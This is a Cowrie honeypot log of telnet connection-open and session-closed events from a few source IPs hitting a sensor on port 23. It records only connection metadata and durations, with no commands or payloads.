{"eventid":"cowrie.session.closed","duration":30.396945238113403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:09.102640Z","src_ip":"147.135.136.77","session":"b495f899e51c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.847506046295166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:09.121235Z","src_ip":"85.208.100.77","session":"cf9e78ac69fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.462799787521362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:09.149094Z","src_ip":"37.187.24.227","session":"6b41d3d01f16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71873164176941,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:09.162606Z","src_ip":"147.135.136.77","session":"ac9c18bfb865","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":48854,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bc53b2e0b10","protocol":"telnet","message":"New connection: 85.208.100.77:48854 (159.203.135.109:23) [session: 5bc53b2e0b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:09.348511Z"}
{"eventid":"cowrie.session.closed","duration":31.095415592193604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:09.373630Z","src_ip":"85.208.100.77","session":"9313c54f7d58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54190,"dst_ip":"159.203.135.109","dst_port":23,"session":"22b46182cf4d","protocol":"telnet","message":"New connection: 147.135.136.77:54190 (159.203.135.109:23) [session: 22b46182cf4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:09.388191Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54212,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c81603de4d4","protocol":"telnet","message":"New connection: 147.135.136.77:54212 (159.203.135.109:23) [session: 7c81603de4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:09.636041Z"}
{"eventid":"cowrie.session.closed","duration":31.69317126274109,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:10.030511Z","src_ip":"147.135.136.77","session":"c0004422c4b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63599967956543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:10.044496Z","src_ip":"37.187.24.227","session":"79da6504d836","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.20213222503662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:10.060198Z","src_ip":"147.135.136.77","session":"574b6345678e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82557964324951,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:10.066344Z","src_ip":"37.187.24.227","session":"4000a295c7bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":52004,"dst_ip":"159.203.135.109","dst_port":23,"session":"17301e10be05","protocol":"telnet","message":"New connection: 51.79.21.139:52004 (159.203.135.109:23) [session: 17301e10be05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:10.113754Z"}
{"eventid":"cowrie.session.closed","duration":30.497819185256958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:10.130336Z","src_ip":"147.135.136.77","session":"1fa1d84ba4cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54228,"dst_ip":"159.203.135.109","dst_port":23,"session":"36df8531940f","protocol":"telnet","message":"New connection: 147.135.136.77:54228 (159.203.135.109:23) [session: 36df8531940f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:10.248898Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54240,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eeefb6f416d","protocol":"telnet","message":"New connection: 147.135.136.77:54240 (159.203.135.109:23) [session: 1eeefb6f416d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:10.253309Z"}
{"eventid":"cowrie.session.closed","duration":31.170627117156982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:10.339355Z","src_ip":"147.135.136.77","session":"a0ea9b4de0bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54248,"dst_ip":"159.203.135.109","dst_port":23,"session":"642b4eb384eb","protocol":"telnet","message":"New connection: 147.135.136.77:54248 (159.203.135.109:23) [session: 642b4eb384eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:10.556506Z"}
{"eventid":"cowrie.session.closed","duration":30.963977098464966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:11.021367Z","src_ip":"51.79.21.139","session":"9bf8d84932d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2658851146698,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:11.069097Z","src_ip":"37.187.24.227","session":"2b847b4505f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.891698360443115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:11.123615Z","src_ip":"147.135.136.77","session":"8fbb910447df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":52016,"dst_ip":"159.203.135.109","dst_port":23,"session":"08fc7c83a36f","protocol":"telnet","message":"New connection: 51.79.21.139:52016 (159.203.135.109:23) [session: 08fc7c83a36f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:11.145645Z"}
{"eventid":"cowrie.session.closed","duration":31.008793592453003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:11.166369Z","src_ip":"37.187.24.227","session":"bff9889f4d8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54168,"dst_ip":"159.203.135.109","dst_port":23,"session":"a495afd92527","protocol":"telnet","message":"New connection: 147.135.136.77:54168 (159.203.135.109:23) [session: a495afd92527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:11.305319Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54254,"dst_ip":"159.203.135.109","dst_port":23,"session":"af17e5e4cb2e","protocol":"telnet","message":"New connection: 147.135.136.77:54254 (159.203.135.109:23) [session: af17e5e4cb2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:11.387748Z"}
{"eventid":"cowrie.session.closed","duration":31.350371599197388,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:11.548005Z","src_ip":"147.135.136.77","session":"316cef1d978c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54266,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fb3e9ef137f","protocol":"telnet","message":"New connection: 147.135.136.77:54266 (159.203.135.109:23) [session: 3fb3e9ef137f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:11.632454Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":52026,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2ea18a98c6e","protocol":"telnet","message":"New connection: 51.79.21.139:52026 (159.203.135.109:23) [session: f2ea18a98c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:11.972438Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":52040,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e1a9ef7d8f7","protocol":"telnet","message":"New connection: 51.79.21.139:52040 (159.203.135.109:23) [session: 9e1a9ef7d8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:12.046421Z"}
{"eventid":"cowrie.session.closed","duration":30.709797859191895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:12.052543Z","src_ip":"147.135.136.77","session":"1e0efa83718a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.750570058822632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:12.121990Z","src_ip":"147.135.136.77","session":"3777fe820f21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11563467979431,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:12.245353Z","src_ip":"147.135.136.77","session":"c47f515b9ba9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54278,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6ff5eebb109","protocol":"telnet","message":"New connection: 147.135.136.77:54278 (159.203.135.109:23) [session: d6ff5eebb109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:12.369195Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54280,"dst_ip":"159.203.135.109","dst_port":23,"session":"39b87c5ff424","protocol":"telnet","message":"New connection: 147.135.136.77:54280 (159.203.135.109:23) [session: 39b87c5ff424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:12.575041Z"}
{"eventid":"cowrie.session.closed","duration":30.350755214691162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:13.040653Z","src_ip":"147.135.136.77","session":"721a50ffb14a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82123613357544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:13.045930Z","src_ip":"147.135.136.77","session":"87cd0cf87537","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70900249481201,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:13.067898Z","src_ip":"51.79.21.139","session":"b9c3f9d623d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.797736644744873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:13.125599Z","src_ip":"147.135.136.77","session":"c955a9bec49f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.790664196014404,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:13.196288Z","src_ip":"168.119.91.149","session":"5f9242586c88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54284,"dst_ip":"159.203.135.109","dst_port":23,"session":"d91c81c6d8fc","protocol":"telnet","message":"New connection: 147.135.136.77:54284 (159.203.135.109:23) [session: d91c81c6d8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:13.202948Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54296,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2e9236c7d90","protocol":"telnet","message":"New connection: 147.135.136.77:54296 (159.203.135.109:23) [session: e2e9236c7d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:13.319380Z"}
{"eventid":"cowrie.session.closed","duration":31.365014791488647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:13.422938Z","src_ip":"147.135.136.77","session":"c4a903009660","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86097025871277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:14.046194Z","src_ip":"37.187.24.227","session":"8f2aa2fa2501","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.724841594696045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:14.051375Z","src_ip":"147.135.136.77","session":"96f780cf50e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.109103202819824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:14.055893Z","src_ip":"147.135.136.77","session":"d8084bafdf15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54298,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e42026a737b","protocol":"telnet","message":"New connection: 147.135.136.77:54298 (159.203.135.109:23) [session: 8e42026a737b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:14.084538Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54310,"dst_ip":"159.203.135.109","dst_port":23,"session":"da3b2de5aa82","protocol":"telnet","message":"New connection: 147.135.136.77:54310 (159.203.135.109:23) [session: da3b2de5aa82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:14.253494Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54324,"dst_ip":"159.203.135.109","dst_port":23,"session":"4af73799a20e","protocol":"telnet","message":"New connection: 147.135.136.77:54324 (159.203.135.109:23) [session: 4af73799a20e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:14.334165Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54328,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b8a1163b7d0","protocol":"telnet","message":"New connection: 147.135.136.77:54328 (159.203.135.109:23) [session: 8b8a1163b7d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:14.378616Z"}
{"eventid":"cowrie.session.closed","duration":31.156476974487305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:14.428199Z","src_ip":"147.135.136.77","session":"480a129fdde4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":57410,"dst_ip":"159.203.135.109","dst_port":23,"session":"13ba2eb0bb0a","protocol":"telnet","message":"New connection: 85.208.100.77:57410 (159.203.135.109:23) [session: 13ba2eb0bb0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:14.458198Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54338,"dst_ip":"159.203.135.109","dst_port":23,"session":"738ce04720a7","protocol":"telnet","message":"New connection: 147.135.136.77:54338 (159.203.135.109:23) [session: 738ce04720a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:14.846085Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54344,"dst_ip":"159.203.135.109","dst_port":23,"session":"72d8f40ba43e","protocol":"telnet","message":"New connection: 147.135.136.77:54344 (159.203.135.109:23) [session: 72d8f40ba43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:14.859041Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":41884,"dst_ip":"159.203.135.109","dst_port":23,"session":"74d08542d0ac","protocol":"telnet","message":"New connection: 168.119.91.149:41884 (159.203.135.109:23) [session: 74d08542d0ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:14.922191Z"}
{"eventid":"cowrie.session.closed","duration":30.192702293395996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:15.048542Z","src_ip":"147.135.136.77","session":"8b73485f61de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.078508615493774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:15.055041Z","src_ip":"147.135.136.77","session":"bdde43999102","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94346046447754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:15.058534Z","src_ip":"147.135.136.77","session":"4df7d823ca9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.14576268196106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:15.068266Z","src_ip":"147.135.136.77","session":"09958b6e2617","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39595675468445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:15.185065Z","src_ip":"37.187.24.227","session":"209445a419c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96704363822937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:15.208308Z","src_ip":"147.135.136.77","session":"733109337edd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54354,"dst_ip":"159.203.135.109","dst_port":23,"session":"c43fd456c581","protocol":"telnet","message":"New connection: 147.135.136.77:54354 (159.203.135.109:23) [session: c43fd456c581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:15.214071Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54356,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a5a8584b8ef","protocol":"telnet","message":"New connection: 147.135.136.77:54356 (159.203.135.109:23) [session: 2a5a8584b8ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:15.258055Z"}
{"eventid":"cowrie.session.closed","duration":31.118212938308716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:15.487899Z","src_ip":"147.135.136.77","session":"2627083c5b3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01525902748108,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:16.067231Z","src_ip":"147.135.136.77","session":"d496095ba1b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80332374572754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:16.099822Z","src_ip":"147.135.136.77","session":"1e7449714dba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.771347284317017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:16.527281Z","src_ip":"168.119.91.149","session":"026e57d3ff91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":40154,"dst_ip":"159.203.135.109","dst_port":23,"session":"64cb5710bdac","protocol":"telnet","message":"New connection: 37.187.24.227:40154 (159.203.135.109:23) [session: 64cb5710bdac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:16.941227Z"}
{"eventid":"cowrie.session.closed","duration":30.68166995048523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:17.037518Z","src_ip":"147.135.136.77","session":"a41fab6c5890","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.065672636032104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:17.138296Z","src_ip":"147.135.136.77","session":"455251a6ab4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58748,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a37edf38cb7","protocol":"telnet","message":"New connection: 147.135.136.77:58748 (159.203.135.109:23) [session: 2a37edf38cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:17.221436Z"}
{"eventid":"cowrie.session.closed","duration":30.98991847038269,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:17.262188Z","src_ip":"147.135.136.77","session":"f2a4bb4e3aa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.784892797470093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:17.285741Z","src_ip":"147.135.136.77","session":"98576d0550e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58762,"dst_ip":"159.203.135.109","dst_port":23,"session":"90720e9240e9","protocol":"telnet","message":"New connection: 147.135.136.77:58762 (159.203.135.109:23) [session: 90720e9240e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:17.298306Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58738,"dst_ip":"159.203.135.109","dst_port":23,"session":"044f79fa0378","protocol":"telnet","message":"New connection: 147.135.136.77:58738 (159.203.135.109:23) [session: 044f79fa0378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:17.353660Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":37172,"dst_ip":"159.203.135.109","dst_port":23,"session":"a373eb8aeb42","protocol":"telnet","message":"New connection: 81.30.157.18:37172 (159.203.135.109:23) [session: a373eb8aeb42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:17.545135Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":41900,"dst_ip":"159.203.135.109","dst_port":23,"session":"df7cd0a28e82","protocol":"telnet","message":"New connection: 168.119.91.149:41900 (159.203.135.109:23) [session: df7cd0a28e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:17.695507Z"}
{"eventid":"cowrie.session.closed","duration":31.257652521133423,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:17.730627Z","src_ip":"147.135.136.77","session":"e3217429aab0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58742,"dst_ip":"159.203.135.109","dst_port":23,"session":"a96f62a85308","protocol":"telnet","message":"New connection: 147.135.136.77:58742 (159.203.135.109:23) [session: a96f62a85308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:17.893701Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":46356,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9d8b698b9c2","protocol":"telnet","message":"New connection: 51.79.21.139:46356 (159.203.135.109:23) [session: f9d8b698b9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:18.013481Z"}
{"eventid":"cowrie.session.closed","duration":30.71322774887085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:18.065770Z","src_ip":"51.79.21.139","session":"7495a225add5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.074645519256592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:18.071907Z","src_ip":"81.30.157.18","session":"34ad3ba2d274","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.102926015853882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:18.075973Z","src_ip":"147.135.136.77","session":"9453a58f234d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58744,"dst_ip":"159.203.135.109","dst_port":23,"session":"acac50a134e0","protocol":"telnet","message":"New connection: 147.135.136.77:58744 (159.203.135.109:23) [session: acac50a134e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:53:18.087446Z"}
